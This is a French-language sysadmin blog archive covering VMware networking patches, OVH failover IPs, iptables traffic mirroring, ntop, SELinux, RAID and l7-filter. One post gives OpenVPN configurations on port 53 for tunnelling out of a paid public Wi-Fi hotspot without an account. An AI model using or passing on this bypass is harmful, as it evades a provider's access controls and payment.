SYN, SYN-ACK, ACK …

Steal This Blog

Archives Posts

VMware Server et Virtual Router Redundany Protocol (VRRP)

mars 3rd, 2009 by Corbier

Selon Wikipédia :

Virtual Router Redundancy Protocol (protocole de redondance de routeur virtuel, VRRP) est un protocole non propriétaire redondant décrit dans la RFC 3768 dont le but est d’augmenter la disponibilité de la passerelle par défaut servant les hôtes d’un même sous-réseau.

Le fonctionnement de VRRP est le suivant :

Chaque Routeur Virtuel utilise une adresse mac de l’IANA ces adresses mac sont réversées et vont de 00:00:5e:00:01:00 à 00:00:5e:00:01:ff (on peut donc avoir 256 routeurs virtuels par segment Ethernet)

Les routeurs communiquent entre eux via l’adresse multicast réservée 224.0.0.18 associé à la mac réservé 00:00:5e:00:01:02

Comme l’indique le paquet capturé suivant :

Frame 6 (70 bytes on wire, 70 bytes captured)
Ethernet II, Src: IETF-VRRP-virtual-router-VRID_02 (00:00:5e:00:01:02), Dst: IPv4mcast_00:00:12 (01:00:5e:00:00:12)
Internet Protocol, Src: 192.168.130.160 (192.168.130.160), Dst: 224.0.0.18 (224.0.0.18)
Virtual Router Redundancy Protocol

Afin d’utiliser une IP virtuelle associés a plusieurs routeurs nous utilisons le Common Address Redundancy Protocol ou CARP.

Selon wikipédia :

Common Address Redundancy Protocol ou CARP est un protocole permettant à un groupe d’hôtes sur un même segment réseau de partager une adresse IP.

Dans le cadre de préparation de labs, j’ai voulu émulé l’ensemble de via une solution freebsd (Pfsense) sous VMware Server. Cependant l’adresse virtuel CARP ne pouvait pas être utilisé. Les réponses ARP était bien présente mais le ping et tout les autres services était indisponible.

Le module kernel vmnet drop tout les paquets ethernet que ne sont pas à destination :

  • d’elle même
  • d’une addresse de broadcast FF:FF:FF:FF:FF:FF
  • d’une addresse de multicast

Cependant le bloc de IANA est manquant !!!Les packets sont donc droppés.

Afin de valider et corriger le module noyau, il faut éditer le driver.c contenu dans /usr/lib/vmware/modules/source

Le fichier qui nous intéresse est dans l’archive vmnet.tar. Il faut extraire cette archive.

tar xvf vmnet.tar

cd vmnet-only

Ensuite nous devons localiser la fonction VNetPacketMatch qui est responsable du matching de paquet.

*
*———————————————————————-
*
* VNetPacketMatch –
*
*      Determines whether the packet should be given to the interface.
*
* Results:
*      TRUE if the pasket is OK for this interface, FALSE otherwise.
*
* Side effects:
*      None.
*
*———————————————————————-
*/

Bool
VNetPacketMatch(const uint8   *destAddr, // IN: destination MAC
const uint8   *ifAddr,   // IN: MAC of interface
const uint8   *ladrf,    // IN: multicast filter
uint32   flags)          // IN: filter flags
{
/*
* Return TRUE if promiscuous requested, or unicast destined
* for interface, or broadcast (and broadcast requested), or
* if multicast (and all multicast, or this specific
* multicast MAC, was requested).
*/

return ((flags & IFF_PROMISC) || MAC_EQ(destAddr, ifAddr) ||
((flags & IFF_BROADCAST) && MAC_EQ(destAddr, broadcast)) ||
((destAddr[0] & 0×1) && (flags & IFF_ALLMULTI ||
(flags & IFF_MULTICAST &&
VNetMulticastFilter(destAddr, ladrf)))));
}

Il faut ajouter les lignes suivantes ajoutant le support des paquets de IANA :

((destAddr[0] == 0) && (destAddr[1] == 0) &&
(destAddr[2] == 0×5e) && (destAddr[3] == 0) &&
(destAddr[4] == 1))

Ce qui nous donne la fonction suivante :

return ((flags & IFF_PROMISC) || MAC_EQ(destAddr, ifAddr) ||
((flags & IFF_BROADCAST) && MAC_EQ(destAddr, broadcast)) ||
((destAddr[0] == 0) && (destAddr[1] == 0) &&
(destAddr[2] == 0×5e) && (destAddr[3] == 0) &&
(destAddr[4] == 1)) ||
((destAddr[0] & 0×1) && (flags & IFF_ALLMULTI ||
(flags & IFF_MULTICAST &&
VNetMulticastFilter(destAddr, ladrf)))));

Sauvegardez et recompilez le module :

make vmnet.ko

Il nous reste à copié le nouveau module au bon endroit

cp vmnet.ko  /lib/modules/`uname -r`/misc/vmnet.ko

/etc/init.d/vmware restart

Nous avons désormais un VMware Server fonctionnelle.

Archives Posts

IP-FailOver Ovh Vmware Server

janvier 23rd, 2009 by Corbier

Lorsque l’on a un serveur dédié on peut être tenté de faire de la virtualisation sur son serveur. Plus OS, facilité des backups etc… Cependant, pour éviter que ce soit trop le bazar sur leur réseau, Ovh a limiter les mac adresse par rapport au port des commutateurs.

Il est donc impossible de communiquer avec un machine qui serait bridger sur l’interface de la machine hôte. Pour pallier à ça il est possible de mettre ses machines virtuelles en mode HostOnly. Il suffit ensuite d’activer le routage et le snat sur le linux .

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE

Mais cela pose problème si l’on souhaite utiliser des ip public. Il faut donc feinter.

Tout d’abord ovh propose d’utiliser des IpFailOver afin de faire « pointer » plusieurs ip public sur le même serveur. Comme les mac adresses sont bloquées par port, il faut utiliser le proxy_arp de linux afin de réussir cette configuration.

L’idée est donc d’utiliser des ips public que l’on a acheter à ovh pour des machines virtuelles. Il faut donc configurer une interface réseau vmware en hostonly. Dans ma configuration c’est vmnet1. Activons maintenant le proxy_arp sur l’interface vmware.

echo 1 > /proc/sys/net/ipv4/conf/vmnet1/proxy_arp

Je vous laisse consulter la page suivante pour avoir plus d’information sur le fonctionnement d’un proxy arp.

Ensuite il faut ajouter une route à destination de ip_suplémentaire pour que la machine hote puisse savoir à quel interface envoyer le paquet.

route add ip_supplémentaire dev vmnet1

Il ne vous reste plus qu’a configurer votre machine virtuelle avec l’adresse suplémentaire. Avec un masque de sous réseau 255.255.255.255 pour pouvoir communiquer avec les machines de votre subnet.

Cependant attention le trafic à destination de votre machine virtuel passe par la table filter-forward d’iptables il vous faut évidement configurer les protocoles que vous souhaiter router.

Filed under Non classé having No Comments »

Archives Posts

Mirroring de traffic via iptables [Debian Etch]

juin 5th, 2008 by Corbier

This option adds a `ROUTE’ target, which enables you to setup unusual

routes. For example, the ROUTE lets you route a received packet through

an interface or towards a host, even if the regular destination of the

packet is the router itself. The ROUTE target is also able to change the

incoming interface of a packet.

To copy (duplicate) all traffic from and to a local ECHO server to a second box (nonfinal target)

iptables -A PREROUTING -t mangle -p tcp –dport 7 -j ROUTE –gw 1.2.3.4 –tee

iptables -A POSTROUTING -t mangle -p tcp –sport 7 -j ROUTE –gw 1.2.3.4 –tee

Afin d’activer la cible route pour iptables il est nécéssaire de recompiler l’ensemble « noyau + iptables »

Nous allons donc préparer notre environnement de travail.

apt-get install linux-source-2.6.18 gcc make ncurses-dev
cd /usr/src
tar -xvjf linux-source-2.6.18.tar.bz2
ln -s linux-source-2.6.18 linux

On télécharge les sources d’iptables et on les décompresses

wget http://www.netfilter.org/projects/iptables/files/iptables-1.3.6.tar.bz2

tar -xjpf iptables-1.3.6.tar.bz2

On peut maintenant télécharger le patch-o-matic :

wget http://ftp.netfilter.org/pub/patch-o-matic-ng/snapshot/patch-o-matic-ng-20070728.tar.bz2

tar xvjf patch-o-matic-ng-20070728.tar.bz2

cd patch-o-matic-ng-20070728

Nous devons spécifié le dossier des sources d’iptables

IPTABLES_DIR=/usr/src/iptables-1.3.6 ./runme ROUTE

Hey! KERNEL_DIR is not set.

Where is your kernel source directory? [/usr/src/linux]

Loading patchlet definitions…………….. done

Welcome to Patch-o-matic ($Revision: 6736 $)!

Kernel: 2.6.18, /usr/src/linux

Iptables: 1.3.6, /usr/src/iptables-1.3.6

Each patch is a new feature: many have minimal impact, some do not.

Almost every one has bugs, so don’t apply what you don’t need!

——————————————————-

Already applied:

Testing ROUTE… not applied

The ROUTE patch:

Author: Cédric de Launois <delaunois@info.ucl.ac.be>

Status: Experimental

This option adds a `ROUTE’ target, which enables you to setup unusual

routes. For example, the ROUTE lets you route a received packet through

an interface or towards a host, even if the regular destination of the

packet is the router itself. The ROUTE target is also able to change the

incoming interface of a packet.

The target can be or not a final target. It has to be used inside the

mangle table.

ROUTE target options:

–oif ifname Send the packet out using `ifname’ network interface.

–iif ifname Change the packet’s incoming interface to `ifname’.

–gw ip Route the packet via this gateway.

–continue Route the packet and continue traversing the rules.

–tee Route a copy of the packet, but continue traversing

the rules with the original packet, undisturbed.

Note that –iif, –continue, and –tee, are mutually exclusive.

Examples :

# To force all outgoing icmp packet to go through the eth1 interface

# (final target) :

iptables -A POSTROUTING -t mangle -p icmp -j ROUTE –oif eth1

# To tunnel outgoing http packets and continue traversing the rules :

iptables -A POSTROUTING -t mangle -p tcp –dport 80 -j ROUTE –oif tunl1 –continue

# To forward all ssh packets to gateway w.x.y.z, and continue traversing

# the rules :

iptables -A POSTROUTING -t mangle -p tcp –dport 22 -j ROUTE –gw w.x.y.z –continue

# To change the incoming network interface from eth0 to eth1 for all icmp

# packets (final target) :

iptables -A PREROUTING -t mangle -p icmp -i eth0 -j ROUTE –iif eth1

# To copy (duplicate) all traffic from and to a local ECHO server

# to a second box (nonfinal target)

iptables -A PREROUTING -t mangle -p tcp –dport 7 -j ROUTE –gw 1.2.3.4 –tee

iptables -A POSTROUTING -t mangle -p tcp –sport 7 -j ROUTE –gw 1.2.3.4 –tee

—————————————————————–

Do you want to apply this patch [N/y/t/f/a/r/b/w/q/?] y

Excellent! Source trees are ready for compilation.

Nous pouvons maintenant compiler le noyau

cd /usr/src/linux

make oldconfig

Quelques librairies sont rapidement indispensable ;o)

apt-get install kernel-package

Et c’est partie pour de la compilation

make-kpkg clean

make-kpkg –initrd kernel_image kernel_headers

make-kpkg –initrd kernel_image

Une fois la compilation effectué il faut installer et booter sur le noyau.

dpkg –i monnoyau.deb

Vérifiez votre /boot/grub/menu.lst afin de voir si votre nouveau noyau apparait.

Ensuite Reboot

Pour monitorer tout le trafic entrant vers une ip (Un IDS par exemple J) utiliser la règle iptables suivante :

iptables -A POSTROUTING -t mangle -p tcp –sport 7 -j ROUTE –gw 1.2.3.4 –tee

Nous verrons dans un prochain billet comment utiliser ce trafic avec un IDS.

Archives Posts

Déploiement Ntop

avril 30th, 2008 by julio

Présentation de l’outil Ntop

Ntop est un outil d’analyse réseau permettant de surveiller un parc informatique en temps réel. Toutes les données et statistiques sont représentées via une interface Web.

Quelques fonctionnalités de Ntop :

  • Tableau des hosts connus
  • Utilisation des protocoles réseaux
  • Charge bande passante par host
  • Graphes journaliers, hebdomadaire, mensuels, annuels

Installation Ntop

Ntop s’installe en ligne de commande :

Installation du package

apt-get install ntop

Vérification de la version

apt-cache policy ntop

Ntop est maintenant installé.

Renseigner le mot de passe Admin permettant de gérer l’interface Web Admin :

ntop -A

Pour lancer ntop, plusieurs possibilités de démarrage :

  • -i : défini l’interface de capture (Possibilité de mettre plusieurs interfaces séparés d’une virgule)

  • -w : permet de spécifier l’adresse IP du serveur ntop suivi du port

  • -W : permet de spécifier également une IP mais cette fois-ci en HTTPS

  • -d : permet de démarrer ntop en daemon

  • -u : défini l’utilisateur (par défaut l’utilisateur ntop est créé)

Dans mon exemple, je vais lancer ntop en daemon sur l’interface eth0 et eth1 sur mon serveur 192.168.0.1 en https avec le port 3001 :

ntop -u ntop -d -i eth0,eth1 -W 192.168.0.1:3001

L’utilisateur ntop doit être spécifié dans la commande afin d’avoir les droits nécessaires pour visualiser toutes les stats. Puis, si vous ne lancez pas ntop en daemon, vous devrez arréter le service manuellement (kill) au lieu de le faire via le daemon (/etc/ini.d/ntop stop).

Il est possible maintenant d’attaquer le serveur en https. Ntop intègre son propre serveur Web, il n’y a pas besoin d’installer un serveur Apache à coté.

https://votre_site:3001

Interface Web

Plusieurs onglets sont disponibles sur l’interface :

  • About : tous les informations sur Ntop, comment ça marche, …
  • Summary : récapitule toutes les informations sous forme de stat
  • All protocols : récapitule les informations par host et par protocoles
  • IP : défini l’ensemble du trafic IP
  • Media : utile pour le fibre channel et les sessions SCSI
  • Utils : permet de dumper les données en XML si Ntop a été compilé avec le xml et de voir les logs de ntop
  • Plugins : possibilité de rajouter des plugins à Ntop (NetFlow, RRD, …)
  • Admin : interface pour gérer les options de Ntop et toutes les préférences Admin

Dans le cas où l’on capture avec plusieurs interfaces réseaux, l’interface Web affiche les stats d’une seule interface. Pour switcher, il suffit de cliquer sur l’ongler Admin puis Switch NIC. L’interface Web vous affichera les interfaces disponibles.

Mirroring de port

Ntop permet de sniffer un réseau IP. Si la partie sniffée est un réseau IP avec Hub, il n’y a pas de problème car tous les paquets transitent sur tous les ports. Par contre, la plupart des réseaux utilisent aujour’hui des switchs. Dans ce cas, il faut dupliquer le trafic vert le port où se trouve le serveur Ntop.

Sur un switch Cisco, il faut configurer le SPAN permettant de récupérer le trafic que l’on souhaite vers un port de destination :

Dans mon exemple, j’utilise un switch Cisco Catalyst 2950. Ma sonde se trouve sur le port Fa0/11 et je veux dupliquer le trafic du port Fa0/12 et FA0/14 :

monitor session 1 source interface Fa0/11

monitor session 1 destination Fa0/12

monitor session 1 destination Fa0/14

Afficher votre configuration (sh run) pour voir si les commandes ont bien été appliquées et surveiller si Ntop récupère bien le trafic.

Filed under Linux having 2 Comments »

Archives Posts

Forensic sur log apache avec pyflag

avril 17th, 2008 by Corbier

Contexte

Dans le cadre de mon travail je suis parfois obliger de faire des retours sur incident dans le cadre de dysfonctionement ou d’attaque.

J’ai donc choisi d’utiliser pyflag.

L’installation se fait facilement a coup de ./configure make make install

Récupération des log’s

J’ai donc récupéré les logs httpd sur le serveur du client ainsi que les logs tomcat. Le problême constaté est que le service tomcat tombe régulièrement (genre tous les deux jours).

Une fois pyflag configuré, il nous reste à nous connecter à l’adresse http://127.0.0.1:8000

Afin d’intégrer les log apache, il est nécessaire de créer un log Preset qui contiendra l’ensemble des log à analyser.

Un assistant apparaît pour injecter les logs. Quelques points me semble essentiel.

Sélectionnez Apache Log ;)

Ainsi que le format debian_forensic cliquez sur next et les logs apparaissent sous la forme de tableau

Ensuite il nous reste a nommer notre preset.

Cliquez sur Load a Log file

Sélectionner les logs a injecter dans le base mysql

L’upload est assez rapide.

Je peux donc travailler sur mes log’s

La suite au prochaine épisode :p

Archives Posts

OpenVPN Web GUI 0.3.x

mars 25th, 2008 by Corbier

Lorsque nous avons un serveur VPN comportant beaucoup d’utilisateurs, il devient rapidement difficile à administrer. Surtout dans le cadre de révocation de client, ajout de nouveaux utilisateurs etc …

Pour cela j’ai découvert un GUI web permettant de :

  • shows the version of openvpn service;
  • shows the list of connected peers (uses status log file, version 2);
  • shows the brief configuration of openvpn server;
  • shows the list of all openssl certificates (actually, not ALL of them, but only those, which are made to be used for openvpn service);
  • shows the content of a certificate (not a private key);
  • builds the private key, CSR and public certificates;
  • downloads private key, CSR or public certificate;
  • downloads configuration sertificate files;
  • new: downloads private key, CSR and public certificate in a ZIP file (along with custom files, provided by you).
  • Ce projet est encore en développement, cependant il reste a suivre de près car les fonctionnalités annoncé m’ont l’air prometteuse.

    La liste des dépendances est la suivante : apache2, php5, php5-session, php-pcre, smarty. Il faut obsolument que php soit installé avec le support ssl (–with-openssl).

    Une fois les dépendances satisfaites, il ne reste plus qu’a télécharger et décompressé l’archive ==> http://openvpn-web-gui.sourceforge.net/

    Il faut éditer le fichier config.inc pour renseigner les différents chemins du fichier de configuration de openvpn et du fichier de log.

    IMPORTANT : il faut qu’openvpn génére un fichier de log version 2. Il faut donc ajouter status-version 2 au fichier de conf

    Voici la liste des utilisateurs connectés :

    OpenVpn Web Gui 1

    Ainsi que la liste des certificats et des users creés :

    OpenVpn Web Gui 2

    Archives Posts

    Stripe Size

    mars 25th, 2008 by wolf

    Stripe Size & Stripe Width

    Les RAID qui utilise le stripping améliore les performances en partageant les fichiers en petites pièces et en les distribuant aux multiples disques durs. La plupart des mises en oeuvre de stripping permettent à l’administrateur plus de deux paramètres critiques qui définissent comment les données sont splittés, et envoyé aux différents disques durs. Chacun de ces facteurs a un impact important sur les performances du RAID.

    Le premier paramètre clef est le stripe width du RAID. Le stripe width se réfère au nombre de stripes parallèles qui peuvent être écrites ou lu simultanément. C’est bien sûr égal au nombre de disques dans le tableau. Donc un RAID à quatre disques aurait un stripe width de quatre.

    Les performances de lecture et écriture d’un RAID strippé augmente en même temps que le stripe width augmente. La raison est que l’ajout de disques durs au RAID augmente le parallélisme RAID, donnant ainsi l’accès à plus de disques durs simultanément.

    Vous aurez généralement un taux de transfert plus performant d’un RAID comprenant huit disques durs de 18GB que d’un RAID de 36GB, tout en ayant le mêmes gammes de disques durs.

    Bien sûr, le coût de huit disques durs de 18GB est plus onéreux que quatre disques durs de 36GB, tout en prenant compte la puissance nécessaire au niveau des alimentations.

    Le second paramètre clef est le stripe size du RAID, quelques fois on retrouve ce terme comme la taille des blocs, longueur des blocs… Ce terme fait référence à la taille des blocs écrit sur chaque disques. Les RAID autorise la taille des blocs compris entre 2KB et 512KB (voir plus), chaque blocs est multiple de deux (2KB, 4KB, 8KB, …). Les RAID de type 3, n’autorise que un stripe size de 1B, voir moins, et n’est pas modifiable par l’utilisateur.

    L’impact au niveau des performances du stripe size est plus difficile a quantifier que l’effet du stripe width.

    Réduction du Stripe Size: comme le stripe size est réduit, alors les fichiers sont coupés en de plus petites pièces. Cela augmentera le nombre de disques contenant le fichier, en théorie, cela augmente le temps de transferts, mais ça réduit les performances de positionnement.

    Augmentation du Stripe Size : l’augmentation du stripe size du RAID, fait l’opposé de ce que nous avons vu précédemment. Il faudra moins de disques durs pour contenir le fichier, du coup les performances de transferts seront réduites. Mais si le contrôleur est optimisé pour, la condition d’avoir moins de disques durs, permet aux disques durs non nécessaires d’avoir un accès particulier ceci afin d’être utilisé pour un autre transfert, améliorant la performance du positionnement

    Exemple

    Voici un exemple de deux différents disques avec des stripes size différents:

    1.gif2.gif

    A gauche, un RAID 0 de quatre disques avec un stripe size de 4 KB; à droite le même RAID avec les mêmes données, mais qui utilise un stripe size de 64 KB. Dans ce diagramme, quatre fichiers se distinguent par quatre couleurs différentes:

    • le fichier rouge à une taille de 4 KB
    • le fichier bleu à une taille de 20 KB
    • le fichier vert à une taille de 100KB
    • le fichier magenta à une taille de 500KB

    Ils sont dessiné afin d’illustrer combien d’espace ils occupent en terme relatif dans le RAID (un pixel vertical représente 1KB).

    On peut constater la différence de traitement de fichier entre les deux type de RAID. Les fichiers de 4KB prennent seulement un bloc sur un seul disque dans les deux RAID, et le fichier de 500KB est répartie au travers des quatre disque dans les deux RAID. Mais quand le plus large stripe size est utilisé, le fichier bleu apparaît seulement sur un seul disque à la place de quatre, et le fichier vert est réparti sur deux disques au lieu de quatre. Ceci améliore le positionnement aléatoire de ces fichiers. Dans les deux cas, le stripe width est bien sur de quatre.

    Alors quel stripe size choisir ? La meilleur solution pour trouver lequel convient le mieux, est d’essayer plusieurs valeurs: plus ça empire, moins la solution sera bonne :) En outre, ne surestimez pas les performances entre les différents taille de stripe size, elle peut être significative, en particulier si vous prenez les opposés du spectre comme par exemple 4KB et 256KB, mais la différence n’est pas souvent aussi large entre deux valeurs.

    Et si vous devez avoir un principe de base, je dirais ceci : les environnements transactionnels où vous avez un grand nombre de lecture et d’écriture sont probablement plus aisés avec une grande tailles de stripe size; les applications où de plus petits nombres de grand fichiers doivent être lus rapidement préféreront probablement de plus petit stripe size. Évidemment, si vous devez équilibrer ces conditions, choisissez quelque chose au milieu.

    Sources

    http://www.storagereview.com/guide2000/ref/hdd/perf/raid/concepts/perfStripe.html

    Filed under Linux, system having 1 Comment »

    Archives Posts

    CentOs et SElinux

    mars 16th, 2008 by Corbier

    Selon Wikipedia,

    Security-Enhanced Linux, abrégé SELinux, est un LSM (Linux security module), qui permet de définir une politique d’accès MAC (mandatory access control) aux éléments d’un système basé sur Linux. Initié par la NSA sur la base de travaux menés avec SCC et l’université d’Utah aux USA (prototypes DTMach, DTOS, projet FLASK), son architecture dissocie l’application de la politique d’accès et sa définition. Il permet notamment de classer les applications d’un système, en différents groupes, avec des niveaux d’accès plus fins. Il permet aussi d’attribuer un niveau de confidentialité pour l’accès à des objets systèmes, comme des descripteurs de fichier, selon un modèle de sécurité multi-niveaux MLS (Multi level Security). SELinux utilise le modèle Bell LaPadula avec Type enforcement de SCC pour l’intégrité. Il s’agit d’un logiciel libre, certaines parties étant sous licences GNU GPL ou BSD.

    Sous un système Linux classique le contrôle d’accès est dit de type DAC Discretionary Access Control Ce type de controle d’accès vérifie simplement le propriétaire, le groupe, et les autres (les autres désignent tout ce qui ne fait pas partie du propriétaire et du groupe) en se basant sur le GID et l’UID.

    Cependant, les limites de ce système de permission est facile à définir. Imaginons que nous avons un compte sur une système type Linux. Un compte utilisateur avec tout les permissions qui l’en découle. Lorsque ce compte user exécute un processus, le processus hérite des droits du compte user mais aussi de tous ses privilèges.

    Transposons ce modèle dans un autre contexte. Je travaille avec un collègue sur un projet professionnelle, et il hérite donc de mes privilèges et droit dans l’environnement professionnel mais il hérite également du droit de rentrer chez moi, dormir dans mon lit etc … Inacceptable non ?

    Il est donc impensable de donnez tout les droits en se basant uniquement sur l’UID et le GID. Il faut intégrer une notion fondamentale dans la gestion de sa sécurité : le contexte.

    Voici un exemple de droit classique linux.

    [root@CentOs www]# ls -l
    total 48
    drwxr-xr-x 2 root root 4096 jan 16 02:36 cgi-bin
    drwxr-xr-x 3 root root 4096 mar 12 22:38 error
    drwxr-xr-x 3 root root 4096 mar 16 12:19 html
    drwxr-xr-x 3 root root 4096 mar 12 22:38 icons
    drwxr-xr-x 14 root root 4096 mar 12 22:42 manual
    drwxr-xr-x 2 webalizer root 4096 mar 14 04:02 usage

    Et voici les droits SELinux

    drwxr-xr-x root root system_u:object_r:httpd_sys_script_exec_t cgi-bin
    drwxr-xr-x root root system_u:object_r:httpd_sys_content_t error
    drwxr-xr-x root root system_u:object_r:httpd_sys_content_t html
    drwxr-xr-x root root system_u:object_r:httpd_sys_content_t icons
    drwxr-xr-x root root system_u:object_r:httpd_sys_content_t manual
    drwxr-xr-x webalizer root system_u:object_r:httpd_sys_content_t usage

    Ce qui m’intéresse c’est httpd_sys_content_t. C’est a dire que le répertoire html est accessible par l’utilisateur apache uniquement lors du contexte d’utilisation du deamon httpd.

    Un utilisateur usurpant ou détournant l’identité d’apache n’aura pas accès au répertoire html car il sortira du contexte d’utilisation du deamon httpd. Fabuleux non ?

    Pour le reste, je vous laisse avec l’utilisation de la commande chcon pour modifier les contextes et les permissions de SELinux.

    Donc.

    man chcon

    Archives Posts

    Compression des VM avec 7zip

    mars 5th, 2008 by Corbier

    Salut a tous,

    Quand on travaille avec des machines virtuelles, il y a un problème qui se présente rapidement. La taille de vos disques dur !!!

    Pour cela, il faut compresser vos images disques.

    7Zip est là pour vous aider.

    Selon Wikipedia :

    C’est un logiciel libre distribué sous licence LGPL, le code AES est sous licence BSD et le code unRAR est sous licence mixte (LGPL + des restrictions unRAR). Il est en compétition avec WinZip et WinRAR, qui sont des équivalents propriétaires de type partagiciel (ou shareware).

    Le programme fonctionne en ligne de commande ou avec une interface graphique traduite dans 69 langues dont le français.

    Il prend en charge les formats de fichier suivants :

    Cependant le taux de compression est assez impressionnant.

    Pour une image de 790 Mo on arrive à un fichier compressé de 119 Mo. Je pense que le ratio peut être intéressant d’un point de vue d’archivage des VM ou afin de backup.

    Il est évident que l’on arrive à un tel ratio du fait du type de fichier à compressè. Sur un divx le gain est quasi nulle.

    Filed under system having No Comments »

    Archives Posts

    VMWARE Server 2 Béta

    janvier 8th, 2008 by Corbier

    La version vmware server 2 est disponible en béta depuis quelques temps.

    Au menu, une nouvelle gestion des machines virtuelles et surtout une interface web digne de ce nom. On peut noter, un très gros effort sur cette version qui est très abouti.

    Comme d’habitude, l’installation sous linux se passe sans encombre (sous Ubuntu Gutsy), d’ailleurs le module pour le noyau 2.6.22-14 est déjà précompiler.

    Voici les ports ouverts par défaut.

    tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN 9025/vmware-authdla
    tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 9106/vmware-hostd
    tcp 0 0 0.0.0.0:8085 0.0.0.0:* LISTEN 9106/vmware-hostd
    tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 9106/vmware-hostd

    Il y a certainement une sécurisation à faire.

    Le port 80 permet d’accéder au WebAccess en http.

    Le port 443 permet d’accéder au WebAccess en https

    Le port 902 permet d’accéder au vmware server via le client lourd vmware

    Le port 8085 reste un mystère

    Globalement l’interface web est agréable a utilisé, mais cependant, j’ai noté que mon Core 2 Duo n’est pas reconnu correctement.

    Filed under Linux, system having No Comments »

    Archives Posts

    ByPass Hotspot Neuf (Chillspot)

    décembre 29th, 2007 by Corbier

    Avec l’arrivée et la multiplication des hotspots, il devient néccéssaire d’avoir un compte sur les hotspots ou pas…

    Afin de ByPass l’accès réseau. Qui se base sur votre compte en banque. Nous avons cherché un moyen de « sortir » du hotspot.

    Sachant que le protocole dns étant le seul protocole autorisé a sortir. Nous avons donc constater que le tunneling serait je pense la meilleur solution.

    Pour réussir, Il vous faut.

    Un serveur VPN, et un laptop evidement.

    Nous avons choisi openvpn en mode static key afin de géré cette connection.

    Voici la configuration ip du server vpn

    br0 Link encap:Ethernet HWaddr 00:18:39:AE:73:A7
    inet addr:192.168.30.254 Bcast:192.168.30.255 Mask:255.255.255.0
    UP BROADCAST RUNNING PROMISC ALLMULTI MULTICAST MTU:1500 Metric:1
    RX packets:231701 errors:0 dropped:0 overruns:0 frame:0
    TX packets:142476 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:13696143 (13.0 MiB) TX bytes:92534590 (88.2 MiB)

    lo Link encap:Local Loopback
    inet addr:127.0.0.1 Mask:255.0.0.0
    UP LOOPBACK RUNNING MULTICAST MTU:16436 Metric:1
    RX packets:1300 errors:0 dropped:0 overruns:0 frame:0
    TX packets:1300 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:139429 (136.1 KiB) TX bytes:139429 (136.1 KiB)

    tun0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
    inet addr:10.10.10.10 P-t-P:10.10.10.11 Mask:255.255.255.255
    UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1500 Metric:1
    RX packets:542 errors:0 dropped:0 overruns:0 frame:0
    TX packets:368 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:100
    RX bytes:38381 (37.4 KiB) TX bytes:239530 (233.9 KiB)

    vlan1 Link encap:Ethernet HWaddr 00:18:39:AE:73:A8
    inet addr:192.168.1.10 Bcast:192.168.1.255 Mask:255.255.255.0
    UP BROADCAST RUNNING PROMISC ALLMULTI MULTICAST MTU:1500 Metric:1
    RX packets:75864 errors:0 dropped:0 overruns:0 frame:0
    TX packets:49847 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:84198507 (80.2 MiB) TX bytes:5662097 (5.3 MiB)

    On considère que l’interface vlan1 est l’interface public du server vpn. tun0 est l’interface virtuel d’entrée du vpn.

    Voici le fichier de conf du server vpn

    dev tun
    ifconfig 10.10.10.10 10.10.10.11
    secret /tmp/static.key
    comp-lzo
    port 53
    verb 3

    Pour plus d’info sur la configuration du vpn ici

    Il faut copié cette clé sur le laptop que servira de client.

    Il faut aussi activé le nat su le server vpn

    iptables -t nat -A POSTROUTING -o vlan1 -j MASQUERADE

    Voici le fichier de conf du client

    dev tun
    remote ipwanduservervpn
    ifconfig 10.10.10.11 10.10.10.10
    port 53
    secret static.key
    proto tcp-client
    comp-lzo
    route 192.168.30.0 255.255.255.0

    Il vous reste plus qu’a vous connecter au hotspot dans votre gare préféré et de lancer votre connect vpn

    et hop vous êtes chez vous :p

    Filed under Linux, Securité, iptables having 12 Comments »

    Archives Posts

    l7-filter (suite)

    décembre 14th, 2007 by Corbier

    Suite à un précédent billet sur l7-filter

    J’ai préparé des packets noyau 2.6.18 avec iptables l7 filter compilé prête à l’emploi.

    Ils sont disponible sur le dépot http://corbier.homelinux.com/deb/l7-filter/

    Faites-en bon usage.

    J’ai aussi découvert une manière de cloner les disques virtuels via un outil disponible dans le paquet VirtualBox

    VBoxManage clonevdi Master.vdi clone.vdi

    En effet, la copie simple ne fonctionne pas (problème d’uuid).

    Une autre manipulation peut être intéressante. On peut « compacter » un disque VDI.

    VBoxManage modifyvdi Debian-l7-filter.vdi compact

    Archives Posts

    Emulateur PS2

    décembre 10th, 2007 by Corbier

    Beaucoup de gens l’attendent, et il est arrivé. Un émulateur PS2 sous Linux. Vous avez bien lu.

    Visiblement, vu la liste des jeux compatibles, les nuits seront longues sous le pingouin.

    L’émulateur est disponible Ici.

    Je n’ai pas encore testé l’émulateur. Je posterai mes retours.

    :D

    Filed under Jeux, Linux having 1 Comment »

    Archives Posts

    L7filter ou comment iptables remonte couche 7

    décembre 1st, 2007 by Corbier

    Pour pouvoir faire un filtrage efficace il ne faut pas que s’appuyer sur les ports, en effet un firewall efficace doit pouvoir remonter jusqu’a la couche 7 du modele osi (la couche application), pour par exemple bloqué les protocole p2p ou les jeux en lignes.

    Une solution existe sous linux c’est un module d’iptable: ‘l7-filter’.

    Voici un exemple d’installation sur debian sarge.

    Il faut tout d’abord savoir avec quelle noyau vous voulez l’installez

    moi j’ai choisi le ‘2.6.15′

    Comme la doc l’indique il faut tout d’abort installer les outils de compilation et de manipulation du noyau

    sudo apt-get install build-essential fakeroot kernel-package

    Il est ensuite préférable de ne pas compiler en root, il faut donc ajouter son utilisateur aux groupes src

    adduser mon_user src

    Il faut ensuite chercher les sources de son noyau ou du noyau choisi

    apt-cache search linux-source

    et l’installer avec apt-get

    sudo apt-get install linux-source-2.6.15

    ensuite on decompresse les sources ( notez que les N° de version du noyau sont a adapté selon votre cas d’utilisation)

    cd /usr/src

    rm linux

    On se place dans /usr/src et on supprime le lien symbolique si il existe deja

    tar -xjvf linux-source-2.6.15.tar.bz2

    ln -s linux-source-2.6.15 linux

    on décompresse et on recréez le lien symbolique

